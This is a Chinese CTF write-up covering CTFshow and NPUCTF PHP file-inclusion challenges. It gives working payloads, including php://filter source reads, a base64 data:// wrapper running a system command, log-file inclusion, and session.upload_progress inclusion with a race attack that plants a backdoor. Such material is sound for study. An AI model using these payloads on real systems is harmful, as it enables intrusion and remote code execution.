CTFSHOW 文件包含

web 78

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

web 79

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web 80-81

  • 这道题开始就有技巧了
  • 源码 过滤了 php和data 伪协议用不了
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  • payload
?file=/var/log/nginx/access.log
  • 文件包含日志文件
    在这里插入图片描述

web 82

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
<!DOCTYPE html>
<html>
<body>
<form action="http://52302e8b-c2f0-4f12-b96c-99d7b1750211.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>
</body>
</html>
  • 增加PHSESSID=xbx0d,生成临时文件sess_xbx0d
  • 在PHP_SESSION_UPLOAD_PROGRESS中写入自己要利用的代码 在这里插入图片描述
  • 访问/tmp/sess_xbx0d文件
    在这里插入图片描述
  • 最后bp用intrude栏.进行竞争攻击

夹带私活 [NPUCTF2020]ezinclude

  • 进入页面给了提示
<!--md5($secret.$name)===$pass -->
  • 抓包后又hash值 直接url上传
  • 然后又给了提示include($_GET["file"]
  • 尝试读取源码\flflflflag.php?file=php://filter/convert.base64-encode/resource%3dflflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
  • 过滤了这些东西 直接伪协议是行不通的 想到两个方法 一个就是日志文件(不知道路径) 一个就是
    session.upload_progress进行文件包含
  • 这题我的解法是session.upload_progress进行文件包含 然后利用竞争攻击
  • POC
    在这里插入图片描述
  • 访问暂存的文件
    在这里插入图片描述
  • 竞争攻击
  • 写入了一个后门
  • POST传参:cmd=phpinfo();
  • flag在phpinfo()里面,我翻遍了目录文件 最后看wp才知道在phpinfo()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值